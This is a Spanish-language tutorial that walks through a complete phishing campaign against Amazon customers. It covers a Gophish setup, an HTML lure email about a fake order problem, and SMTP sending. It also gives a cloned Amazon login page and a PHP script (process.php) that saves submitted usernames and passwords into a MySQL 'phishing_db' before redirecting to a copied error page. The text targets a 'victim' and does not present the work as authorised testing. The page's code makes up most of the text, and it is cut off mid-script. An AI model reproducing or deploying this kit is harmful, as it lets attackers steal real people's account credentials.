Phishing_techniques and results

Gophish [Configuracion]

Lo primero de todo tendremos que descargar la herramienta de Gophish y que cree el servidor donde se aloja la pagina web para poder empezar a configurarla...

URL (Gophish) = https://github.com/gophish/gophish

Por lo que lo descargaremos de la siguiente manera...

git clone https://github.com/gophish/gophish.git
cd gophish/
go build

Una vez instalado todo y construido, lo ejecutaremos de la siguiente manera...

gophish

Cuando se ejecute la aplicacion las credenciales se mostraran en la terminal para que puedas iniciar sesion a parte de que se abrira automaticamente el login, pero en tal caso de que no se abriera nos proporcionara la URL para poder ingresarla en internet...

level=info msg="Please login with the username admin and the password <PASSWORD>"

Sabremos que el usuario sera admin y la password cambiara dependiendo del usuario, el link sera el siguiente...

URL = https://127.0.0.1:3333/

Cuando inicies sesion con las credenciales por defecto, te pedira que cambies la contraseña y una vez hecho eso, nos metera en la pagina para poder empezar a configurarla...

Lo primero que configuraremos sera la parte llamada como Email Templates y dentro del mismo crearemos uno nuevo donde pone [+] New Template para asi poder crear el email que va a ver el usuario cuando se le envie...

En la parte de Name: ponemos el nombre que queramos en mi caso le pondre GMAIL PHISHING, donde pone Envelope Sender: ponemos el email que queremos que se vea cuando le llegue al usuario paar que sea todo mas real, donde pone Subject: ponemos el titulo o la cabecera del correo que le va a llegar al usuario y por ultimo en la misma parte un poco mas abajo hay 2 opciones llamadas Text y HTML elegiremos HTML para poder programar el correo entero por asi decirlo, os dejo un ejemplo del codigo que programe y como se veria...

Codigo:

<html>
<head>
	<title></title>
	<style type="text/css">.input_letter {
font-size: 17px;
font-weight: bold;
}

.line {
color: grey;
height: 0.1px;
}

.line_head {
color: orange;
height: 10px;
background-color: orange;
border: none;
margin-top: 0px;
}

.box {
background-color: rgba(220, 220, 220,0.45);
border-radius: 3px;
padding: 10px;
font-size: 12.5px;
color: rgb(130, 130, 130);
}

span.letter {
font-family: Verdana, Geneva, Thaoma, sans-serif;
}

body {
font-family: Verdana, Geneva, Thaoma, sans-serif;
color: black;
}
	</style>
</head>
<body>
<hr class="line_head" />
<p><img src="https://www.sosgats.org/wp-content/uploads/2017/01/logo-amazon.jpg" width="300" /></p>

<hr class="line" />
<p>Estimado/a cliente,<br />
<br />
Lamentamos informarle que ha habido un problema con uno de sus pedidos recientes en Amazon. Para resolver este problema y asegurarnos de que reciba su pedido a tiempo, necesitamos que confirme algunos detalles de su cuenta.<br />
<br />
Si no resuelve este problema, es posible que su pedido se retrase o sea cancelado. Agradecemos su pronta atenci&oacute;n a este asunto.<br />
<br />
Si tiene alguna pregunta o necesita asistencia adiccional, no dude en contactarnos a traves de nuestro servicio de atenci&oacute;n al cliente.<br />
<br />
Atentamente,<br />
<br />
Equipo de Atenci&oacute;n al Cliente Amazon.</p>

<p><a href="{{.URL}}"><input class="input_letter" style="background-color: orange; border: none; border-radius: 3px; padding: 15px 32px;" type="submit" value="Seguimiento de tu pedido" /></a></p>

<div class="box"><span class="letter">Si en el futuro prefieres no recibir correos electr&oacute;nicos de Amazon de este tipo, selecciona la exluci&oacute;n voluntaria <a href="{{.URL}}">aqu&iacute;</a></span><br />
<br />
<span class="letter">Referencia AKDFGD27DKIEHFU6-JDLJDJS423ILFPBNGS Amazon EU Sarl. Luxemburgo, Reg# B-1810102, 5 Rue Plaetis, L-23824 Luxemburgo. VAT # LU 2026781.</span><br />
&nbsp;
<p><img src="https://niveldecalidad.com/wp-content/uploads/2022/09/PAGINA_AMAZON_2-02.png" width="100" /></p>
</div>
</body>
</html>

Perspectiva:

Donde pone en el codigo {{.URL}} es donde sustituiremos eso por el link que nos proporcionara la herramienta ngrok pero eso mas adelante...

Una vez creado el correo lo guardaremos y nos iremos a la seccion de Sending Profiles le daremos a crear uno nuevo [+] New Profile donde pone Name: pondremos el nombre que queramos sera para nosotros identificarlo en mi caso le llamare PHISHING SMTP, donde pone SMTP From: le pondremos el correo donde esta configurado nuestro servidor SMTP o el que viene por defecto en nuestro correo creado de hotmail...

Ejemplo SMTP From:

SMTP From: example@hotmail.com

Donde pone Host: pondremos el identificador de nuestro servidor SMTP o el por defecto que viene en Microsoft...

Ejemplo Host:

Host: smtp-mail.outlook.com:587

Y por ultimo donde pone Username y Password pondremos en Username lo mismo que metimos en SMTP From y en Password la contraseña de ese correo...

Ejemplo Username y Password:

Username: example@hotmail.com

Password: secret123

Ahora nos dirigimos a la seccion de Landing Pages crearemos una pagina pero que no servira para nada, ya que no la utilizaremos pero la herramienta Gophish obliga a tener una, pero mas adelante ya crearemos una pagina en nuestro puerto local de apache2...

En mi caso a la pagina la llame test en la opcion Name: y la guardaremos [!] Aviso: esta pagina no va a servir para nada, es solo por que la herramienta lo pide...

Despues nos dirigimos en la parte de Users & Groups dentro del mismo crearemos uno donde pone [+] New Group, en la parte de Name: pondremos un nombre para identificarlo en mi caso lo llame Example_group, y en las casillas llamadas...

First Name: Example

Last Name: Test

Email: attack@gmail.com

Position: CEO

Estas opciones las estamos configurando para que cuando enviemos el correo aparezca con el nombre y apellidos a parte de la posicion laboral que va a ser visible por el usuario si se pusiera a buscar, por lo que lo tendremos que adaptar al tipo de phishing que estemos haciendo y por ultimo donde pone Email: pondremos el email con el que enviaremos el phishing (Nuestro email)...

Una vez configurado todo lo añadiremos [+] Add y lo guardaremos todo...

Ya por ultimo nos vamos a la seccion llamada Campaigns y le daremos a [+] New Campaign dentro de la configuracion lo configuraremos de la siguiente manera...

Donde pone Name: pondremos el nombre con el que lo queramos identificar en mi caso lo llamare test_phishing, en la parte de Email Template: pondremos el email que creamos anteriormente en mi caso lo llame GMAIL PHISHING, en la parte de Landing Page: pondremos el que llamamos test, donde pone URL: pondremos para todos lo mismo http://localhost, en la parte de Sending Profile: pondremos la configuracion del SMTP que creamos anteriormente en mi caso llamado PHISHING SMTP y por ultimo en la parte de Groups: seleccionaremos el grupo anteriormente creado llamado en mi caso test_group...

Como deberia de verse:

Una vez puesto todo lo anterior no guardaremos nada, le daremos en la opcion llamada Send Test Email y dentro de la misma se configurara de la siguiente forma...

First Name: Victim

Last Name: Test

Email: victim@gmail.com

Position: CEO

Lo importante de aqui es poner en la parte de Email: el email del usuario victima al que se lo queremos mandar, pero antes de hacerlo, crearemos la pagina web phishing desde nuestra terminal de la siguiente manera y ya retomaremos esta parte del envio...

Pagina Phishing [Configuracion apache2, mysql, ngrok, etc...]

Lo primero que haremos sera instalar apache2...

sudo apt install apache2

Pero no podremos iniciarlo con systemctl ya que por defecto se aloja en el puerto 80 y ese puerto ya esta cogido por un proceso de la herramienta Gophish por lo que cambiaremos de puerto a apache2 de la siguiente forma...

nano /etc/apache2/ports.conf

#Dentro del nano
Listen <PORT>

Ejemplo (PORT):

nano /etc/apache2/ports.conf

#Dentro del nano
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen 7755

<IfModule ssl_module>
        Listen 443
</IfModule>

<IfModule mod_gnutls.c>
        Listen 443
</IfModule>

Lo guardamos y con eso ya habriamos cambiado el puerto del apache2, por lo que ahora lo iniciaremos...

systemctl start apache2
systemctl enable apache2

Con esto ya estaria en funcionamiento y establecido cada vez que se arranque el S.O. el apache2...

Por lo que nos dirigimos a la siguiente ubicacion para borrar los archivos creados por defecto del apache2...

cd /var/www/html/
rm *

o

rm /var/www/html/*

MySQL [Configuracion de captacion de credenciales]

Instalaremos y configuraremos una base de datos en mysql para que cuando inserte las credenciales en la pagina de phishing del login se envien automaticamente a la base de datos que crearemos en mysql...

systemctl start mysqld
systemctl enable mysqld

Una vez instalado mysql nos meteremos dentro del entorno para crear la base de datos con las credenciales por defecto de mysql...

mysql -u root -p

Nos pedira una contraseña, pero lo dejaremos vacio y le daremos a enter...

Una vez dentro haremos lo siguiente...

-- Crear base de datos --

CREATE DATABASE phishing_db;

-- Usar la base de datos --

USE phishing_db;

-- Crear tabla credentials --

CREATE TABLE credentials (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(255) NOT NULL,
    password VARCHAR(255) NOT NULL
);

Ahora configuraremos el usuario root para que no surja ningun problema a la hora de configurar el .php para que se escriban los datos en mysql...

-- Cambiar la contraseña del usuario root --

ALTER USER 'root'@'localhost' IDENTIFIED BY 'root';

-- Conceder todos los privilegios al usuario root --

GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' WITH GRANT OPTION;

-- Actualizar los privilegios --

FLUSH PRIVILEGES;

Una vez configurado todo saldremos de la base de datos del entorno de mysql...

exit

Configuracion de la pagina web phishing y captacion de datos en PHP

Nos vamos a la siguiente ubicacion para crear toda la estructura...

cd /var/www/html

Pagina Web phishing:

Lo llamaremos index.php para que sea lo primero que se vea cuando le redirija el link...

<!doctype html>

<html class="a-no-js" data-19ax5a9jf="dingo">

  

<head>

    <link rel="icon" href="https://static.vecteezy.com/system/resources/previews/014/018/561/non_2x/amazon-logo-on-transparent-background-free-vector.jpg" type="image/x-icon">

    <title dir="ltr">Iniciar sesión en Amazon</title>

    <link rel="stylesheet" href="https://images-eu.ssl-images-amazon.com/images/I/61A6IErPNXL._RC|11Fd9tJOdtL.css,11tfezETfFL.css,31Q3id-QR0L.css,31U9HrBLKmL.css_.css?AUIClients/AmazonUI#us.not-trident" />

    <link rel="stylesheet" href="https://images-eu.ssl-images-amazon.com/images/I/01SdjaY0ZsL._RC|31jdWD+JB+L.css,51a-Srr-vTL.css_.css?AUIClients/AuthenticationPortalAssets" />

    <link rel="stylesheet" href="https://images-eu.ssl-images-amazon.com/images/I/21N2V6fmOuL.css?AUIClients/CVFAssets" />

</head>

  

<body class="auth-no-skin ap-locale-es_ES a-m-us a-aui_72554-c a-aui_accordion_a11y_role_354025-c a-aui_killswitch_csa_logger_372963-c a-aui_pci_risk_banner_210084-c a-aui_preload_261698-c a-aui_rel_noreferrer_noopener_309527-c a-aui_template_weblab_cache_333406-c a-aui_tnr_v2_180836-c">

    <script>

        window.ue && ue.count && ue.count('CSMLibrarySize', 18524)

    </script>

    <div id="a-page">

        <script type="a-state" data-a-state="{&quot;key&quot;:&quot;a-wlab-states&quot;}">{}</script>

        <div class="a-section a-padding-medium auth-workflow">

            <div class="a-section a-spacing-none auth-navbar">

                <div class="a-section a-spacing-medium a-text-center">

                    <a class="a-link-nav-icon" href="/ref=ap_frn_logo">

                        <i class="a-icon a-icon-logo" role="img" aria-label="Amazon"></i>

                        <i class="a-icon a-icon-domain-es a-icon-domain" role="presentation"></i>

                    </a>

                </div>

            </div>

            <div id="authportal-center-section" class="a-section">

                <div id="authportal-main-section" class="a-section">

                    <div class="a-section a-spacing-base auth-pagelet-container">

                        <div class="a-section auth-pagelet-container">

                            <!-- Establecer variables de SSO de dominio cruzado para hacer llamadas Ajax al dominio central de identidad -->

                            <div class="a-section a-spacing-base">

                                <div class="a-section">

                                    <form name="signIn" method="post" novalidate action="process.php" class="a-spacing-none">

                                        <div class="a-section">

                                            <div class="a-box">

                                                <div class="a-box-inner a-padding-extra-large">

                                                    <h1 class="a-spacing-small">

                                                        Iniciar sesión

                                                    </h1>

                                                    <!-- Elemento opcional de subencabezado -->

                                                    <div class="a-row a-spacing-base">

                                                        <label for="ap_email" class="a-form-label">

                                                            Dirección de e-mail o número de teléfono móvil

                                                        </label>

                                                        <input type="text" maxlength="128" id="username" autocomplete="webauthn" name="username" tabindex="1" class="a-input-text a-span12 auth-autofocus auth-required-field" aria-describedby="Indica tu dirección de e-mail o teléfono móvil" aria-required="true" /><br><br>

                                                        <div id="auth-email-missing-alert" class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-mini" role="alert">

                                                            <div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i>

                                                                <div class="a-alert-content">

                                                                    Indica tu dirección de e-mail o teléfono móvil

                                                                </div>

                                                            </div>

                                                        </div>

                                                    </div>

                                                    <input type="hidden" name="create" value="0" />

                                                    <div class="a-section a-spacing-large">

                                                        <div class="a-row">

                                                            <div class="a-column a-span5">

                                                                <label for="ap_password" class="a-form-label">

                                                                    Contraseña

                                                                </label>

                                                            </div>

                                                            <div class="a-column a-span7 a-text-right a-span-last">

                                                                <a id="auth-fpp-link-bottom" class="a-link-normal" href="https://www.amazon.es/ap/forgotpassword?showRememberMe=true&amp;openid.pape.max_auth_age=0&amp;openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;webAuthnChallengeIdForAutofill=n87wpIzpvHZ-RFvxBYUoEw24O1NmT675%3AEU&amp;webAuthnGetParametersForAutofill=eyJycElkIjoiYW1hem9uLmVzIiwiY2hhbGxlbmdlIjoibjg3d3BJenB2SFotUkZ2eEJZVW9FdzI0TzFObVQ2NzUiLCJ0aW1lb3V0Ijo5MDAwMDAsImFsbG93Q3JlZGVudGlhbHMiOm51bGwsIm1lZGlhdGlvbiI6ImNvbmRpdGlvbmFsIiwidXNlclZlcmlmaWNhdGlvbiI6InByZWZlcnJlZCJ9&amp;language=es_ES&amp;pageId=amzn_retail_yourorders_es&amp;openid.return_to=https%3A%2F%2Fwww.amazon.es%2Fyour-orders%2Forders%3Fref_%3Dya_d_c_yo&amp;prevRID=J8GEN1NJCTYY482HY48D&amp;openid.assoc_handle=amzn_retail_yourorders_es&amp;openid.mode=checkid_setup&amp;prepopulatedLoginId=&amp;failedSignInCount=0&amp;openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0">

                                                                    ¿Has olvidado la contraseña?

                                                                </a>

                                                            </div>

                                                        </div>

                                                        <input type="password" maxlength="1024" id="password" autocomplete="current-password" name="password" tabindex="2" class="a-input-text a-span12 auth-required-field" aria-describedby="Introduce tu contraseña" aria-required="true" /><br><br>

                                                        <div id="auth-password-missing-alert" class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-mini" role="alert">

                                                            <div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i>

                                                                <div class="a-alert-content">

                                                                    Introduce tu contraseña

                                                                </div>

                                                            </div>

                                                        </div>

                                                    </div>

                                                    <div class="a-section a-spacing-extra-large">

                                                        <span class="a-button a-button-span12 a-button-primary auth-disable-button-on-submit"><span class="a-button-inner"><input id="signInSubmit" tabindex="5" class="a-button-input" type="submit" /><span class="a-button-text" aria-hidden="true">

                                                                    Iniciar sesión

                                                                </span></span></span>

                                                        <div id="legalTextRow" class="a-row a-spacing-top-medium a-size-small">

                                                            Al continuar, aceptas las <a href="/gp/help/customer/display.html/ref=ap_signin_notification_condition_of_use?ie=UTF8&amp;nodeId=200545940">Condiciones de uso y venta</a> de Amazon. Consulta nuestro <a href="/gp/help/customer/display.html/ref=ap_signin_notification_privacy_notice?ie=UTF8&amp;nodeId=200545460">Aviso de privacidad</a>, nuestro <a href="/gp/help/customer/display.html/?nodeId=201890250">Aviso sobre cookies</a> y nuestro <a href="/gp/help/customer/display.html?nodeId=201909150">Aviso sobre anuncios basados en intereses</a>.

                                                        </div>

                                                        <script>

                                                            function cf() {

                                                                if (typeof window.uet === 'function') {

                                                                    uet('cf');

                                                                }

                                                                if (window.embedNotification &&

                                                                    typeof window.embedNotification.onCF === 'function') {

                                                                    embedNotification.onCF();

                                                                }

                                                            }

                                                        </script>

                                                        <script type="text/javascript">

                                                            cf()

                                                        </script>

                                                        <div class="a-row a-spacing-top-medium">

                                                            <div class="a-section a-text-left">

                                                                <label for="auth-remember-me" class="a-form-label">

                                                                    <div data-a-input-name="rememberMe" class="a-checkbox"><label><input type="checkbox" name="rememberMe" value="true" /><i class="a-icon a-icon-checkbox"></i><span class="a-label a-checkbox-label">

                                                                                Recuérdame.

                                                                                <span class="a-declarative" data-action="a-popover" data-csa-c-type="widget" data-csa-c-func-deps="aui-da-a-popover" data-a-popover="{&quot;closeButtonLabel&quot;:&quot;Cerrar&quot;,&quot;activate&quot;:&quot;onclick&quot;,&quot;header&quot;:&quot;Casilla \&quot;Recuérdame\&quot;&quot;,&quot;inlineContent&quot;:&quot;\u003cp&gt;Si seleccionas \&quot;Recuérdame\&quot;, se reduce el número de veces que se te pedirá que te identifiques en este dispositivo.\u003c\/p&gt;\n\u003cp&gt;Para mantener la seguridad de tu cuenta, utiliza esta opción sólo en tus dispositivos personales.\u003c\/p&gt;&quot;}">

                                                                                    <a id="remember_me_learn_more_link" href="javascript:void(0)" role="button" class="a-popover-trigger a-declarative">

                                                                                        Detalles

                                                                                        <i class="a-icon a-icon-popover"></i></a>

                                                                                </span>

                                                                            </span></label></div>

                                                                </label>

                                                            </div>

                                                        </div>

                                                    </div>

                                                    <div class="a-divider a-divider-break">

                                                        <h5 aria-level="5">¿Eres nuevo en Amazon?</h5>

                                                    </div>

                                                    <span id="auth-create-account-link" class="a-button a-button-span12 a-button-base"><span class="a-button-inner"><a id="createAccountSubmit" href="https://www.amazon.es/ap/register?showRememberMe=true&amp;openid.pape.max_auth_age=0&amp;openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;webAuthnChallengeIdForAutofill=n87wpIzpvHZ-RFvxBYUoEw24O1NmT675%3AEU&amp;webAuthnGetParametersForAutofill=eyJycElkIjoiYW1hem9uLmVzIiwiY2hhbGxlbmdlIjoibjg3d3BJenB2SFotUkZ2eEJZVW9FdzI0TzFObVQ2NzUiLCJ0aW1lb3V0Ijo5MDAwMDAsImFsbG93Q3JlZGVudGlhbHMiOm51bGwsIm1lZGlhdGlvbiI6ImNvbmRpdGlvbmFsIiwidXNlclZlcmlmaWNhdGlvbiI6InByZWZlcnJlZCJ9&amp;language=es_ES&amp;pageId=amzn_retail_yourorders_es&amp;openid.return_to=https%3A%2F%2Fwww.amazon.es%2Fyour-orders%2Forders%3Fref_%3Dya_d_c_yo&amp;prevRID=J8GEN1NJCTYY482HY48D&amp;openid.assoc_handle=amzn_retail_yourorders_es&amp;openid.mode=checkid_setup&amp;prepopulatedLoginId=&amp;failedSignInCount=0&amp;openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0" class="a-button-text">

                                                                Crea tu cuenta de Amazon

                                                            </a></span></span>

                                                </div>

                                            </div>

                                        </div>

                                    </form>

                                </div>

                            </div>

                        </div>

                    </div>

                </div>

                <div id="right-2">

                </div>

                <div class="a-section a-spacing-top-extra-large auth-footer">

                    <div class="a-divider a-divider-section">

                        <div class="a-divider-inner"></div>

                    </div>

                    <div class="a-section a-spacing-small a-text-center a-size-mini">

                        <span class="auth-footer-seperator"></span>

  

                        <ul>

                            <li style="list-style-type: none; margin: 0; padding:0; display: inline-block;">

                                <a class="a-link-normal a-nowrap" target="_blank" rel="noopener" href="/gp/help/customer/display.html/ref=ap_desktop_footer_cou?ie=UTF8&amp;nodeId=200545940">

                                    Condiciones de uso

                                </a>

                                <span class="auth-footer-seperator"></span>

                            </li>

                            <li style="list-style-type: none; margin: 0; padding:0; display: inline-block;">

                                <a class="a-link-normal a-nowrap" target="_blank" rel="noopener" href="/gp/help/customer/display.html/ref=ap_desktop_footer_privacy_notice?ie=UTF8&amp;nodeId=200545460">

                                    Aviso de privacidad

                                </a>

                                <span class="auth-footer-seperator"></span>

                            </li>

                            <li style="list-style-type: none; margin: 0; padding:0; display: inline-block;">

                                <a class="a-link-normal a-nowrap" target="_blank" rel="noopener" href="/help">

                                    Ayuda

                                </a>

                                <span class="auth-footer-seperator"></span>

                            </li>

                            <li style="list-style-type: none; margin: 0; padding:0; display: inline-block;">

                                <a class="a-link-normal a-nowrap" target="_blank" rel="noopener" href="/gp/help/customer/display.html/?nodeId=201890250">

                                    Cookies

                                </a>

                                <span class="auth-footer-seperator"></span>

                            </li>

                            <li style="list-style-type: none; margin: 0; padding:0; display: inline-block;">

                                <a class="a-link-normal a-nowrap" target="_blank" rel="noopener" href="/gp/help/customer/display.html/?nodeId=201909150">

                                    Publicidad basada en intereses

                                </a>

                                <span class="auth-footer-seperator"></span>

                            </li>

                        </ul>

                    </div>

                    <div class="a-section a-spacing-none a-text-center">

                        <span class="a-size-mini a-color-secondary">

                            © 1996-2024, Amazon.com, Inc. o sus afiliados

                        </span>

                    </div>

                </div>

            </div>

            <div id="auth-external-javascript" class="auth-external-javascript" data-external-javascripts="">

            </div>

            <noscript>

                <img height="1" width="1" style='display:none;visibility:hidden;' src='//fls-eu.amazon.com/1/batch/1/OP/A1RKKUPIHCS9HS:258-2815425-3127959:J8GEN1NJCTYY482HY48D$uedata=s:%2Fap%2Fuedata%3Fnoscript%26id%3DJ8GEN1NJCTYY482HY48D:0' alt="" />

            </noscript>

            <script>

                window.ue && ue.count && ue.count('CSMLibrarySize', 48885)

            </script>

        </div>

    </div>

</body>

  

</html>

Perspectiva:

Una vez tengamos creado el login y el formulario con el action="process.php" que le programamos para que cuando inicies sesion redirija a ese process.php que ahora crearemos, crearemos el process.php el cual sera el que capte las credenciales y las escriba en mysql a parte de que te redirija a la vez a una pagina de error de la siguiente forma...

process.php

<?php

// Configuración de la base de datos

$servername = "localhost";

$db_username = "root";

$db_password = "root";  // Contraseña actualizada

$dbname = "phishing_db";

  

// Crear conexión

$conn = new mysqli($servername, $db_username, $db_password, $dbname);

  

// Verificar conexión

if ($conn->connect_error) {

    die("Conexión fallida: " . $conn->connect_error);

}

  

// Obtener las credenciales del formulario

$user = $_POST['username'];

$pass = $_POST['password'];

  

// Validar que los datos no estén vacíos

if (empty($user) || empty($pass)) {

    die("Usuario o contraseña no proporcionados.");

}

  

// Preparar y ejecutar la consulta

$stmt = $conn->prepare("INSERT INTO credentials (username, password) VALUES (?, ?)");

if ($stmt === false) {

    die("Preparación de consulta fallida: " . $conn->error);

}

  

$stmt->bind_param("ss", $user, $pass);

if (!$stmt->execute()) {

    die("Ejecución de consulta fallida: " . $stmt->error);

}

  

// Cerrar la declaración y la conexión

$stmt->close();

$conn->close();

  

// Redirigir a una página de error falso o una página legítima

header("Location: index_error.php");  // Cambia esta URL a una URL de error o de redirección legítima

exit();

?>

Aqui configuramos ya el archivo con la base de datos en mysql para que se escriba en esa base de datos de esa tabla metiendose con el usuario root con la contraseña root y que te redirija al archivo index_error.php el cual crearemos ahora mismo...

index_error.php

<!DOCTYPE html>

<head>
    <link rel="icon" href="https://static.vecteezy.com/system/resources/previews/014/018/561/non_2x/amazon-logo-on-transparent-background-free-vector.jpg" type="image/x-icon">
    <script type='text/javascript'>
        var ue_t0 = ue_t0 || +new Date();
    </script>
    <script type='text/javascript'>
        window.ue_ihb = (window.ue_ihb || window.ueinit || 0) + 1;
        if (window.ue_ihb === 1) {

            var ue_csm = window,
                ue_hob = +new Date();
            (function(d) {
                var e = d.ue = d.ue || {},
                    f = Date.now || function() {
                        return +new Date
                    };
                e.d = function(b) {
                    return f() - (b ? 0 : d.ue_t0)
                };
                e.stub = function(b, a) {
                    if (!b[a]) {
                        var c = [];
                        b[a] = function() {
                            c.push([c.slice.call(arguments), e.d(), d.ue_id])
                        };
                        b[a].replay = function(b) {
                            for (var a; a = c.shift();) b(a[0], a[1], a[2])
                        };
                        b[a].isStub = 1
                    }
                };
                e.exec = function(b, a) {
                    return function() {
                        try {
                            return b.apply(this, arguments)
                        } catch (c) {
                            ueLogError(c, {
                                attribution: a || "undefined",
                                logLevel: "WARN"
                            })
                        }
                    }
                }
            })(ue_csm);


            var ue_err_chan = 'jserr-rw';
            (function(d, e) {
                function h(f, b) {
                    if (!(a.ec > a.mxe) && f) {
                        a.ter.push(f);
                        b = b || {};
                        var c = f.logLevel || b.logLevel;
                        c && c !== k && c !== m && c !== n && c !== p || a.ec++;
                        c && c != k || a.ecf++;
                        b.pageURL = "" + (e.location ? e.location.href : "");
                        b.logLevel = c;
                        b.attribution = f.attribution || b.attribution;
                        a.erl.push({
                            ex: f,
                            info: b
                        })
                    }
                }

                function l(a, b, c, e, g) {
                    d.ueLogError({
                        m: a,
                        f: b,
                        l: c,
                        c: "" + e,
                        err: g,
                        fromOnError: 1,
                        args: arguments
                    }, g ? {
                        attribution: g.attribution,
                        logLevel: g.logLevel
                    } : void 0);
                    return !1
                }
                var k = "FATAL",
                    m = "ERROR",
                    n = "WARN",
                    p = "DOWNGRADED",
                    a = {
                        ec: 0,
                        ecf: 0,
                        pec: 0,
                        ts: 0,
                        erl: [],
                        ter: [],
                        buffer: [],
                        mxe: 50,
                        startTimer: function() {
                            a.ts++;
                            setInterval(function() {
                                d.ue && a.pec < a.ec && d.uex("at");
                                a.pec = a.ec
                            }, 1E4)
                        }
                    };
                l.skipTrace = 1;
                h.skipTrace = 1;
                h.isStub = 1;
                d.ueLogError = h;
                d.ue_err = a;
                e.onerror = l
            })(ue_csm, window);


            var ue_id = 'KE82YVBED2PEDHPE6KTZ',
                ue_url = '/ap/uedata',
                ue_navtiming = 1,
                ue_mid = 'A1RKKUPIHCS9HS',
                ue_sid = '260-7076577-0538233',
                ue_sn = 'www.amazon.es',
                ue_furl = 'fls-eu.amazon.com',
                ue_surl = 'https://unagi-eu.amazon.com/1/events/com.amazon.csm.nexusclient.prod',
                ue_int = 0,
                ue_fcsn = 1,
                ue_urt = 3,
                ue_rpl_ns = 'cel-rpl',
                ue_ddq = 1,
                ue_fpf = '//fls-eu.amazon.com/1/batch/1/OP/A1RKKUPIHCS9HS:260-7076577-0538233:KE82YVBED2PEDHPE6KTZ$uedata=s:',
                ue_sbuimp = 1,
                ue_ibft = 0,
                ue_sswmts = 0,
                ue_jsmtf = 0,
                ue_fnt = 0,
                ue_lpsi = 6000,
                ue_no_counters = 0,
                ue_lob = '0',
                ue_sjslob = 0,

                ue_swi = 1;
            var ue_viz = function() {
                (function(b, f, d) {
                    function g() {
                        return (!(p in d) || 0 < d[p]) && (!(q in d) || 0 < d[q])
                    }

                    function h(c) {
                        if (b.ue.viz.length < w && !r) {
                            var a = c.type;
                            c = c.originalEvent;
                            /^focus./.test(a) && c && (c.toElement || c.fromElement || c.relatedTarget) || (a = g() ? f[s] || ("blur" == a || "focusout" == a ? t : u) : t, b.ue.viz.push(a + ":" + (+new Date - b.ue.t0)), a == u && (b.ue.isl && x("at"), r = 1))
                        }
                    }
                    for (var r = 0, x = b.uex, a, k, l, s, v = ["", "webkit", "o", "ms", "moz"], e = 0, m = 1, u = "visible", t = "hidden", p = "innerWidth", q = "innerHeight", w = 20, n = 0; n < v.length && !e; n++)
                        if (a =
                            v[n], k = (a ? a + "H" : "h") + "idden", e = "boolean" == typeof f[k]) l = a + "visibilitychange", s = (a ? a + "V" : "v") + "isibilityState";
                    h({});
                    e && f.addEventListener(l, h, 0);
                    m = g() ? 1 : 0;
                    d.addEventListener("resize", function() {
                        var a = g() ? 1 : 0;
                        m !== a && (m = a, h({}))
                    }, {
                        passive: !0
                    });
                    b.ue && e && (b.ue.pageViz = {
                        event: l,
                        propHid: k
                    })
                })(ue_csm, ue_csm.document, ue_csm.window)
            };

            (function(d, h, N) {
                function H(a) {
                    return a && a.replace && a.replace(/^\s+|\s+$/g, "")
                }

                function u(a) {
                    return "undefined" === typeof a
                }

                function B(a, b) {
                    for (var c in b) b[v](c) && (a[c] = b[c])
                }

                function I(a) {
                    try {
                        var b = N.cookie.match(RegExp("(^| )" + a + "=([^;]+)"));
                        if (b) return b[2].trim()
                    } catch (c) {}
                }

                function O(k, b, c) {
                    var q = (x || {}).type;
                    if ("device" !== c || 2 !== q && 1 !== q) k && (d.ue_id = a.id = a.rid = k, w && (w = w.replace(/((.*?:){2})(\w+)/, function(a, b) {
                        return b + k
                    })), D && (e("id", D, k), D = 0)), b && (w && (w = w.replace(/(.*?:)(\w|-)+/, function(a,
                        c) {
                        return c + b
                    })), d.ue_sid = b), c && a.tag("page-source:" + c), d.ue_fpf = w
                }

                function P() {
                    var a = {};
                    return function(b) {
                        b && (a[b] = 1);
                        b = [];
                        for (var c in a) a[v](c) && b.push(c);
                        return b
                    }
                }

                function y(d, b, c, q) {
                    q = q || +new E;
                    var g, m;
                    if (b || u(c)) {
                        if (d)
                            for (m in g = b ? e("t", b) || e("t", b, {}) : a.t, g[d] = q, c) c[v](m) && e(m, b, c[m]);
                        return q
                    }
                }

                function e(d, b, c) {
                    var e = b && b != a.id ? a.sc[b] : a;
                    e || (e = a.sc[b] = {});
                    "id" === d && c && (Q = 1);
                    return e[d] = c || e[d]
                }

                function R(d, b, c, e, g) {
                    c = "on" + c;
                    var m = b[c];
                    "function" === typeof m ? d && (a.h[d] = m) : m = function() {};
                    b[c] =
                        function(a) {
                            g ? (e(a), m(a)) : (m(a), e(a))
                        };
                    b[c] && (b[c].isUeh = 1)
                }

                function S(k, b, c, q) {
                    function p(b, c) {
                        var d = [b],
                            f = 0,
                            g = {},
                            m, h;
                        c ? (d.push("m=1"), g[c] = 1) : g = a.sc;
                        for (h in g)
                            if (g[v](h)) {
                                var q = e("wb", h),
                                    p = e("t", h) || {},
                                    n = e("t0", h) || a.t0,
                                    l;
                                if (c || 2 == q) {
                                    q = q ? f++ : "";
                                    d.push("sc" + q + "=" + h);
                                    for (l in p) u(p[l]) || null === p[l] || d.push(l + q + "=" + (p[l] - n));
                                    d.push("t" + q + "=" + p[k]);
                                    if (e("ctb", h) || e("wb", h)) m = 1
                                }
                            }! J && m && d.push("ctb=1");
                        return d.join("&")
                    }

                    function m(b, c, f, e, g) {
                        if (b) {
                            var k = d.ue_err;
                            d.ue_url && !e && !g && b && 0 < b.length && (e =
                                new Image, a.iel.push(e), e.src = b, a.count && a.count("postbackImageSize", b.length));
                            w ? (g = h.encodeURIComponent) && b && (e = new Image, b = "" + d.ue_fpf + g(b) + ":" + (+new E - d.ue_t0), a.iel.push(e), e.src = b) : a.log && (a.log(b, "uedata", {
                                n: 1
